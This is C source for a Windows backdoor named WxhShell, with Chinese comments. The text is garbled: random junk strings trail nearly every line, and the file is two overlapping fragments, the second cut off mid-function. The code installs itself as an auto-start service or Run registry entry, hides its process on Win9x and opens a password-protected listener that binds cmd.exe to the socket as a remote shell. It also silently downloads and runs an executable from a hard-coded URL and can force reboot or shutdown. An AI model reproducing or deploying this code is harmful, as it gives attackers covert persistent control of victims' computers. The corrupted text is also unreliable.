    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +fF4]WF P  
    if(Boot(SHUTDOWN)) h8SK8sK<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&Fx< W  
    else { .9bP8u2B{  
    closesocket(wsh); l$p"%5 ]_  
    ExitThread(0); 3Z)vJC9'  
    } 'UCF2 L  
    break; )vur$RX  
    } bU(fH^  
  // 获取shell WAw} ?&k  
  case 's': { .=b)Ae c  
    CmdShell(wsh); EJrQ9"x&n  
    closesocket(wsh); 9%Ftln6  
    ExitThread(0); rFv=j :8  
    break; o2(*5*b!@e  
  } @6DV?VL  
  // 退出 mK7egAo  
  case 'x': { ^nL_*+V`f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wmS:*U2sc  
    CloseIt(wsh); $VE=sS.  
    break; _1Iw"K49Qx  
    } nIP*yb}5  
  // 离开 Z"<tEOs/En  
  case 'q': { tO QY./I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jo ]8?U(^  
    closesocket(wsh); _q\w9gN  
    WSACleanup(); Q_R&+@ju  
    exit(1); (OK;*ZH+T@  
    break; G0h7MO%x  
        } bl B00   
  } 4[]4KKO3Q2  
  } b{d@:"  
t?kbN\,  
  // 提示信息 n|iO)L\9aB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~); 7D'[  
} Pd<>E*>}c.  
  } &mvC<_1n  
a)8M'f_z  
  return; Co>=<\yi  
} ZgI1Byf  
j1,ir  
// shell模块句柄 l<nL8/5{<  
int CmdShell(SOCKET sock) Vz&!N/0i  
{ g)k::k)<e  
STARTUPINFO si; RV:%^=V-  
ZeroMemory(&si,sizeof(si)); ]^^mJt.Iv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Tm`V9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /v:+ vh*mS  
PROCESS_INFORMATION ProcessInfo; X8b= z9  
char cmdline[]="cmd"; -d 6B;I<'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); co%ttH\ n  
  return 0; o;@T6-VH  
} f~? MNJ2  
13P8Zmco  
// 自身启动模式 .qBf`T;  
int StartFromService(void) m;nT ?kv  
{ `H6kC$^Ofx  
typedef struct F&lvofy23  
{ t1YVE%`w  
  DWORD ExitStatus; /g!', r,  
  DWORD PebBaseAddress; 'e>0*hF[  
  DWORD AffinityMask; ] T! >]  
  DWORD BasePriority; It@.U|  
  ULONG UniqueProcessId; ZtfPB  
  ULONG InheritedFromUniqueProcessId; mMvt#+O  
}   PROCESS_BASIC_INFORMATION; B@Q Ate7   
4`7:gfrO,  
PROCNTQSIP NtQueryInformationProcess; h~ =UFE%'  
=7mn= w?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W]rK*Dc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !1}A\S  
%9A6c(L  
  HANDLE             hProcess; |^i+Srh  
  PROCESS_BASIC_INFORMATION pbi; bEE'50 D  
i7w>Nvj]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E(oI0*S.5  
  if(NULL == hInst ) return 0; 7x^P74  
58Fan*fO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &pD6Qq{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]?`t spm<t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); : )\<  
$>;U^-#3  
  if (!NtQueryInformationProcess) return 0; PI#xRKt  
_$?SKid|o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (W| Eg  
  if(!hProcess) return 0; w#5^A(NR  
t .&YD x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RS~jHwIh  
^U.8grA  
  CloseHandle(hProcess); !;^sIoRPV  
I7hE(2!$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n%]1p36  
if(hProcess==NULL) return 0;  # xS8  
Bp`?inKBOd  
HMODULE hMod; TC4W7} }  
char procName[255]; Ii /#cdgF  
unsigned long cbNeeded; g,!6, v@  
1#9Q1@'OS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MGd 7Ont  
&C+pen) Z  
  CloseHandle(hProcess); .R` {.~_{!  
eFUJASc  
if(strstr(procName,"services")) return 1; // 以服务启动 wTGH5}QZ+  
mpBSd+ ;Z  
  return 0; // 注册表启动 $4y;F]  
} ! 3O#'CV  
!52]'yub  
// 主模块 eEkF Zx  
int StartWxhshell(LPSTR lpCmdLine) CCOd4  
{ 7Xi)[M?)#  
  SOCKET wsl; 5uu Zt0V\  
BOOL val=TRUE; ~1Q$FgLk  
  int port=0; 8M;VX3X  
  struct sockaddr_in door; G_{x)@  
p*8LS7UT  
  if(wscfg.ws_autoins) Install(); PYYOC"$  
S$Tc\ /{  
port=atoi(lpCmdLine); w^?uBeqR  
T<"Hh.h  
if(port<=0) port=wscfg.ws_port; xZ} 1dq8  
-aPvls   
  WSADATA data; J)iy6{0"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WhsTKy&E  
Rw\ LVRdA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p `)(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #`rvL6W q}  
  door.sin_family = AF_INET; /ov&h;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FV>LD% uu  
  door.sin_port = htons(port); )pV5l|`  
"If]qX(w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ixZ w;+h  
closesocket(wsl);  q[#2`  
return 1; ,c#=qb8""  
} 8*;88vW"2  
sG`:mc~0   
  if(listen(wsl,2) == INVALID_SOCKET) { JW;DA E<  
closesocket(wsl); ,lLkAd?q  
return 1; #wL}4VN  
} gwtR<2,p  
  Wxhshell(wsl); 3zU!5t g  
  WSACleanup(); BD+V{x}P  
KPI c?|o/6  
return 0; J fFOU!F\  
7KOM,FWKe  
} p9ligs7V'  
?'_E$  
// 以NT服务方式启动 =^m,|j|d>4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &)@|WLW  
{ B>}=x4-8  
DWORD   status = 0; :gMcl"t--  
  DWORD   specificError = 0xfffffff; Mvq5s+.  
M}E0Msq_o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A` x_M!m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g/&`NlD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6\ g-KO  
  serviceStatus.dwWin32ExitCode     = 0; 2`qO'V3Q  
  serviceStatus.dwServiceSpecificExitCode = 0; Zb<IZ)i#1  
  serviceStatus.dwCheckPoint       = 0; |X/ QSL  
  serviceStatus.dwWaitHint       = 0; ,b2YUb]U  
t(YrF,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j^ VAA\  
  if (hServiceStatusHandle==0) return; _zq"<Q c  
u/3[6MIp  
status = GetLastError(); kZXsL  
  if (status!=NO_ERROR) s*<\ mwB  
{ 8C1 'g7A<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RM8p[lfX  
    serviceStatus.dwCheckPoint       = 0; ]03+8 #J  
    serviceStatus.dwWaitHint       = 0; j3`# v3  
    serviceStatus.dwWin32ExitCode     = status; Gj^JpG  
    serviceStatus.dwServiceSpecificExitCode = specificError; eHUr!zH:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \^O#)&5 V  
    return; WVUa:_5{  
  } c+:LDc3!Gb  
m%Ah]x;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AsyJDt'i  
  serviceStatus.dwCheckPoint       = 0; B -XM(C j  
  serviceStatus.dwWaitHint       = 0; Ff xf!zS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RN(>37B3_  
} TxL;qZRY ^  
;fLYO6  
// 处理NT服务事件,比如:启动、停止 }!=}g|z#|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R0dIxG%  
{ Uf#.b2]  
switch(fdwControl) "L'0"  
{ ,f ..46G  
case SERVICE_CONTROL_STOP: /,v>w,  
  serviceStatus.dwWin32ExitCode = 0; wg<UCmfu!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %$K2$dq5  
  serviceStatus.dwCheckPoint   = 0; V7}5Zw1  
  serviceStatus.dwWaitHint     = 0; 34ij5bko_)  
  { Ve,h]/G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); acd8?>%[  
  } <T?H H$es)  
  return; /[Oo*}Dc=F  
case SERVICE_CONTROL_PAUSE: "iFA&$\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jiS|ara"  
  break; Vsh7>|@  
case SERVICE_CONTROL_CONTINUE: s ~'><ioh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DU9A3Z  
  break; bqjj6bf'o  
case SERVICE_CONTROL_INTERROGATE: sHC4iMIw  
  break; P70\ |M0~y  
}; "/ G^+u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f>$Ld1  
} ;Ml??B]C  
M{#  
// 标准应用程序主函数 !Z +4FwF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {k.Dy92  
{ L'XX++2  
nO{@p_3mi  
// 获取操作系统版本 Wez"E2J`  
OsIsNt=GetOsVer(); ?M'_L']N[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x2gnB@t  
W\xM$#)m  
  // 从命令行安装 ;4DqtR"7Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); "YLH]9"=  
*LnY}#  
  // 下载执行文件 ?@W=bJ8{  
if(wscfg.ws_downexe) { ,0ZkE}<=w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \wW'Hk=  
  WinExec(wscfg.ws_filenam,SW_HIDE); (x7AV$N  
} P} =eR  
|)'gQvDM  
if(!OsIsNt) { a o_A %?Ld  
// 如果时win9x,隐藏进程并且设置为注册表启动 lLD-QO}/  
HideProc(); nNe`?TS?f  
StartWxhshell(lpCmdLine); B{IYVviiP  
} 7gIK+1`  
else C~\/FrO?  
  if(StartFromService()) /9/svPc]  
  // 以服务方式启动 ;DWtCtD  
  StartServiceCtrlDispatcher(DispatchTable); Yv0;UKd  
else qkX}pQkG)h  
  // 普通方式启动 DtBIDU]  
  StartWxhshell(lpCmdLine); }q0lbwYlb  
XAN{uD^3\%  
return 0; 4 I}xygV  
} ~_vzss3-C  
2I!STP{!l  
`? ayc/TK  
8ut:cCrmg  
=========================================== z0ULB? *"  
u+7B-l=u*  
YLc 2:9  
`V N $ S  
EA )28]Y.  
_H#l&bL@C  
" )u{)"m`&[J  
<.c@l,[.z  
#include <stdio.h> [kc%+j<g  
#include <string.h> z?C;z7eT  
#include <windows.h> p)M\q fZ  
#include <winsock2.h> ~z''kH=e  
#include <winsvc.h> J:M)gh~#  
#include <urlmon.h> 9A]XuPAlh  
XxT7YCi  
#pragma comment (lib, "Ws2_32.lib") Bsm>^zZ`YU  
#pragma comment (lib, "urlmon.lib") ,l[h9J  
mi~ BdBv  
#define MAX_USER   100 // 最大客户端连接数 79J@`  
#define BUF_SOCK   200 // sock buffer 0(9]m)e  
#define KEY_BUFF   255 // 输入 buffer N7lWeF  
LM_/:  
#define REBOOT     0   // 重启 Pw4j?pv2  
#define SHUTDOWN   1   // 关机 p_hljgOV  
t(SSrM]  
#define DEF_PORT   5000 // 监听端口 mPR(4Ol.  
t >89( k  
#define REG_LEN     16   // 注册表键长度 1c=Roiq  
#define SVC_LEN     80   // NT服务名长度 7h?yAgDv~  
p{:r4!*L  
// 从dll定义API  o^59kQT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j[/'`1tOe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \-c8/=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  >m!l5/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8.e k_ r  
"P:kZ= M Q  
// wxhshell配置信息 13s0uyYU<m  
struct WSCFG {  YM9oVF-  
  int ws_port;         // 监听端口 A[juzOn\  
  char ws_passstr[REG_LEN]; // 口令 h3^ &,U  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gmcx#?|Tx  
  char ws_regname[REG_LEN]; // 注册表键名 Is6<3eQ\x  
  char ws_svcname[REG_LEN]; // 服务名 M4a- +T"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,j~ R ^j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b@ J&jE~d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rQNT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m,n V,}@J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fjc+{;x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \6B,\l]$t@  
@Kri)U i  
}; \mZ\1wzn'{  
uNLB3Rdy}  
// default Wxhshell configuration w;$@</  
struct WSCFG wscfg={DEF_PORT, S3"js4a  
    "xuhuanlingzhe", M%7H-^{  
    1, !M~p __  
    "Wxhshell",  z"BV+  
    "Wxhshell", rVkoj;[  
            "WxhShell Service", |Iy55~hK`  
    "Wrsky Windows CmdShell Service", D5X;hd  
    "Please Input Your Password: ", 5*1wQlL  
  1, 1r}fnT<  
  "http://www.wrsky.com/wxhshell.exe", =+gp~RR,  
  "Wxhshell.exe" NF=FbvNe  
    }; &/ lJ7=Nq  
!x.^ya  
// 消息定义模块 pj,.RcH@o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r;w_B%9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V|NWJ7   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JbYv <  
char *msg_ws_ext="\n\rExit."; [|{yr  
char *msg_ws_end="\n\rQuit."; d"78w-S  
char *msg_ws_boot="\n\rReboot..."; Co8b0-Z  
char *msg_ws_poff="\n\rShutdown..."; 5| 2B@6-  
char *msg_ws_down="\n\rSave to "; zY8"\ZB  
~MY7Ic%  
char *msg_ws_err="\n\rErr!"; -"5x? \.{m  
char *msg_ws_ok="\n\rOK!"; o}5:vi]  
Yfy6o6*:  
char ExeFile[MAX_PATH]; $4kc i@.  
int nUser = 0; XKp%7;  
HANDLE handles[MAX_USER]; yz-IZt(  
int OsIsNt; k>{i_`*  
uVqJl{e\  
SERVICE_STATUS       serviceStatus; ovCk :Vz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,TU!W|($  
> 3 JU  
// 函数声明 *Kt7"J  
int Install(void); XzQ=8r>l  
int Uninstall(void); @.kv",[{[  
int DownloadFile(char *sURL, SOCKET wsh); K_nN|'R-  
int Boot(int flag); > c7/E  
void HideProc(void);  49 3ik  
int GetOsVer(void); u0$7k9mE  
int Wxhshell(SOCKET wsl); ]^gD@].  
void TalkWithClient(void *cs); &RXd1>|c2  
int CmdShell(SOCKET sock); y{ 90A  
int StartFromService(void); o<-%)#e  
int StartWxhshell(LPSTR lpCmdLine); nvD"_.KrJ  
1L'[DKb'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?w# >Cs(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I(Nsm3L  
XrC{{K  
// 数据结构和表定义 {R8Q`2R  
SERVICE_TABLE_ENTRY DispatchTable[] = Wnl8XHPn  
{ !gy'_Y  
{wscfg.ws_svcname, NTServiceMain}, <-Q0WP_^  
{NULL, NULL} 3HbHl?-UNU  
}; Xkl^!,  
4PiNQ'*  
// 自我安装 D4'? V Iz  
int Install(void) Bx&` $lW  
{ 0 P/A  
  char svExeFile[MAX_PATH]; O( he  
  HKEY key; w0SzK-&  
  strcpy(svExeFile,ExeFile); YO!,m<b^u  
= k3O4gE7  
// 如果是win9x系统,修改注册表设为自启动 q~trn'X>  
if(!OsIsNt) { i*_KHK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p{Pa(Z]G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W~k!qy `  
  RegCloseKey(key); [&nwB!kt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -f9M*7O<gf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K?[pCF2C  
  RegCloseKey(key); [tMf KO  
  return 0; + y.IDn^  
    } - |[_j$g  
  } CG9X3%xO%  
} )[oU|!@  
else { <O5;w  
RMC|(Q<  
// 如果是NT以上系统,安装为系统服务 `N(.10~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8<n8joO0  
if (schSCManager!=0) *`}_e)(k  
{ CI{]o&Tf  
  SC_HANDLE schService = CreateService MVt#n\_BZV  
  ( 0*3 <}  
  schSCManager, qoZ*sV  
  wscfg.ws_svcname, 6j"(/X|Ex5  
  wscfg.ws_svcdisp, +8^9:w0}  
  SERVICE_ALL_ACCESS, IU$bP#<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {'DP/]nK  
  SERVICE_AUTO_START, +"3eh1q[  
  SERVICE_ERROR_NORMAL, XOqpys  
  svExeFile, !a~x |pjJ  
  NULL, 4 >&%-BhN  
  NULL, Qlb@Az  
  NULL, #0`"gR#+  
  NULL, ynOp7ZN$  
  NULL jLQjv  
  ); e_1mO 5z  
  if (schService!=0) 1 9 k$)m  
  { n[4Nu`E9  
  CloseServiceHandle(schService); CPVKz   
  CloseServiceHandle(schSCManager); VdeK~#k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ''5%5(Y.r  
  strcat(svExeFile,wscfg.ws_svcname); ~Y'e1w$`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m6;Xo}^w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~|uCZ.;o  
  RegCloseKey(key); w|L~+   
  return 0; !'{j"tv  
    } rB4#}+Uq  
  } 2M&4]d  
  CloseServiceHandle(schSCManager); i[\[xfk  
} >^-[Mpa(*  
} ,x Tbt4J  
&us8,x6yg  
return 1; _5`M( ;hL2  
} K&)a3Z=(.  
]#BXaBVMY  
// 自我卸载 }qKeX4\-  
int Uninstall(void) >`{i[60r  
{ {Y0I A97,  
  HKEY key; (Wx)YI  
Ap!UX=HBb  
if(!OsIsNt) { 0H>Fyl2_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7_K(x mK  
  RegDeleteValue(key,wscfg.ws_regname); ^1~/FU  
  RegCloseKey(key); pM46I"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !r LHPg  
  RegDeleteValue(key,wscfg.ws_regname); Hzj*X}X#K  
  RegCloseKey(key); Ec\x;li! *  
  return 0; .oK7E(QJ  
  } &\"fH+S  
} Q5<vK{  
} b]JN23IS2  
else { hf?^#=k^  
;! 9_5Ar%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !8L Ql}  
if (schSCManager!=0) L}21[ N~ky  
{ &R5M&IwL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3?O| X+$p  
  if (schService!=0) D{loX6  
  { f%|S>(   
  if(DeleteService(schService)!=0) { }oN(nPxv9  
  CloseServiceHandle(schService); T^nX+;:|  
  CloseServiceHandle(schSCManager); I2W2B3D` c  
  return 0; ;9I#>u  
  } v PGuEfz  
  CloseServiceHandle(schService); K[kmfXKu  
  } GDcV1$NA  
  CloseServiceHandle(schSCManager); z9+94<J  
} D/:)rj14b  
} }cPV_^{  
{``}TsN  
return 1; :_aY:`  
} U3V<ITZI8t  
6)3eB{$;  
// 从指定url下载文件 b?Jm)  
int DownloadFile(char *sURL, SOCKET wsh) DA wzXsx  
{ }2 r08,m  
  HRESULT hr; ?Tl@e   
char seps[]= "/"; xw-q)u  
char *token; &*y ve}su  
char *file; sY6'y'a95  
char myURL[MAX_PATH]; 5 rWRE-  
char myFILE[MAX_PATH]; )m'_>-`^:  
)/ZSb1!  
strcpy(myURL,sURL); ZF t^q /pw  
  token=strtok(myURL,seps); ..T (9]h  
  while(token!=NULL) ]OrFW4tiE  
  { r{TNPa6!  
    file=token; x$Oz0[  
  token=strtok(NULL,seps); )KuvG:+9W  
  } f2u2Ns0Ym  
\\lC"Z#J`  
GetCurrentDirectory(MAX_PATH,myFILE); R:xmcUq} (  
strcat(myFILE, "\\");  vXvV5Oq  
strcat(myFILE, file); Kje+Niz7  
  send(wsh,myFILE,strlen(myFILE),0); -J30g\  
send(wsh,"...",3,0); FG H>;H@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M/DTD98'N  
  if(hr==S_OK) :3t])mL#   
return 0; h0eo:Ahi  
else j41:]6  
return 1; z K(5&u  
"EHc&,B`  
} ;MMFF{  
</=PN1=A  
// 系统电源模块 c[y8"M5  
int Boot(int flag) U .Od  
{ mTPj@F>  
  HANDLE hToken; V[mQ;:=  
  TOKEN_PRIVILEGES tkp; etoE$2c  
%PS-nF7v  
  if(OsIsNt) { A;!FtD/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )2$_:Ek  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GVM#Xl}w9  
    tkp.PrivilegeCount = 1; 5ZcnZlOOQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3k<#;(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [GP( r  
if(flag==REBOOT) { UBVb#FNF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kYs|")isj  
  return 0; s z\RmX  
} 16>uD;G  
else { ^%d{i'9?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XZInu5(  
  return 0; 2T5xSpC  
} xAjQW=  
  } gAj)3T@  
  else { wuk7mIJ  
if(flag==REBOOT) { 9CNHjs+-}s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K_5&_P1  
  return 0; IebS~N E  
} l0&8vhw8k  
else { 8joQPHkI\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )ziQ=k6d6  
  return 0; )^\='(s  
} !{Y#<tG]  
} 4BT`|(7  
F^YIZ,=p!  
return 1; _}&]`,s>  
} C6VoOT )\  
*r`Yz}  
// win9x进程隐藏模块 9^='&U9sr  
void HideProc(void) Tv$7aVi!  
{ 'oz = {;  
YfPo"uxx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #:|Y(,c  
  if ( hKernel != NULL ) cDiz!n*.q  
  { +29\'w,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `0i3"06lr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )DmiN^:  
    FreeLibrary(hKernel); B@]7eVo  
  } `I8^QcP  
swlWe}1  
return; ,}tdfkZFYl  
} o"FiM5L^.  
Xa@wN/"F  
// 获取操作系统版本 SR& mHI-f0  
int GetOsVer(void) skz]@{38  
{ F}]_/cY7B  
  OSVERSIONINFO winfo; `#rfp 9w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /6?plt&CA  
  GetVersionEx(&winfo); y!gM)9vq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j7 =3\SO  
  return 1; LJwMM  
  else M0SH-0T;Z  
  return 0; t^,Qy.L0  
} 358/t/4 {p  
Pm^N0L9?q  
// 客户端句柄模块 @;fE%N  
int Wxhshell(SOCKET wsl) xLI{=sL  
{ U 0RfovJ  
  SOCKET wsh; HF: T]n,  
  struct sockaddr_in client; (nD$%/uK'  
  DWORD myID; yXA f  
BozK!"R_<  
  while(nUser<MAX_USER) <83gn :$  
{ qb4;l\SfT  
  int nSize=sizeof(client); %vtSeJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;p 5v3<PC  
  if(wsh==INVALID_SOCKET) return 1; DBBBpb~~  
K$cIVsfr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g/,Bx!'8p  
if(handles[nUser]==0) \Byk`} 9  
  closesocket(wsh); B  bw1k  
else SECQVA_y`  
  nUser++; 5TneuGD  
  } V;-.38py  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ue#yDTjc  
=Rx?6%  
  return 0; J,G9m4Z7  
} {7Avba  
(VaN\+I:T  
// 关闭 socket RVnyl`s  
void CloseIt(SOCKET wsh) h+3Z.WKhwP  
{ YC&jKx.>  
closesocket(wsh); g0j4<\F2\  
nUser--; loUwR z  
ExitThread(0); ` G=L07  
} KWJgW{{v  
:6$4K"^1  
// 客户端请求句柄 bmVgTm&  
void TalkWithClient(void *cs) $Oe58  
{ %s2"W~  
@xm~T|[7  
  SOCKET wsh=(SOCKET)cs; g#b u_E61B  
  char pwd[SVC_LEN]; X$ B]P 7G7  
  char cmd[KEY_BUFF]; G;HlII9x[  
char chr[1]; 2c~?UK[1  
int i,j; ^i+ z_%V  
 g1wI/  
  while (nUser < MAX_USER) { zQ5jx5B":  
O;0<^M/0G  
if(wscfg.ws_passstr) { H='9zqYZ<W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GHJ=-9{YL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < mK  
  //ZeroMemory(pwd,KEY_BUFF); ' ?G[T28  
      i=0; !)/iRw9re  
  while(i<SVC_LEN) { "YzTMKu  
oT)VOkFq  
  // 设置超时 [du>ff  
  fd_set FdRead; )fMX!#KP  
  struct timeval TimeOut; \ U*-w:+@  
  FD_ZERO(&FdRead); `Kc %S^C'  
  FD_SET(wsh,&FdRead); [Ht."VxR  
  TimeOut.tv_sec=8; reM  
  TimeOut.tv_usec=0; cF&h$4-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UW/3{2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ac!&j=ZE  
+ %#MrNM'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l?JO8^Nn  
  pwd=chr[0]; jqGo-C~  
  if(chr[0]==0xd || chr[0]==0xa) { 0"^oTmQN  
  pwd=0; 9U<)_E<y  
  break; SZ2q}[o`R  
  } } C{}oLz  
  i++; vYSetAd v  
    } d0A\#H_&  
Ef`5fgp? S  
  // 如果是非法用户,关闭 socket sK 1m9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [B ~zoB(  
} {1@4}R4  
3 2 1={\X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Ph7qEBQ22  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P\X=*  
~6:LUM  
while(1) { {{]=zt|69  
/y](mu"!  
  ZeroMemory(cmd,KEY_BUFF); 6PJJ?}P^1  
?St=7a(D  
      // 自动支持客户端 telnet标准   5{ 4"JO3  
  j=0; $uUb$8 Bu  
  while(j<KEY_BUFF) { {"0TO|%x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); siRnH(^ J  
  cmd[j]=chr[0]; BH#C<0="  
  if(chr[0]==0xa || chr[0]==0xd) { StyB"1y  
  cmd[j]=0; 2[LX\  
  break; gl9pgY1ni  
  } @r/Id{pCI  
  j++; M8?#%x6;N  
    } urrO1  
u_4:#~b  
  // 下载文件 ?b@q5Y  
  if(strstr(cmd,"http://")) { _PyW=Tj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5"}y\  
  if(DownloadFile(cmd,wsh)) %%as>}.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?K4.L?D#J  
  else V|3yZ8lE  
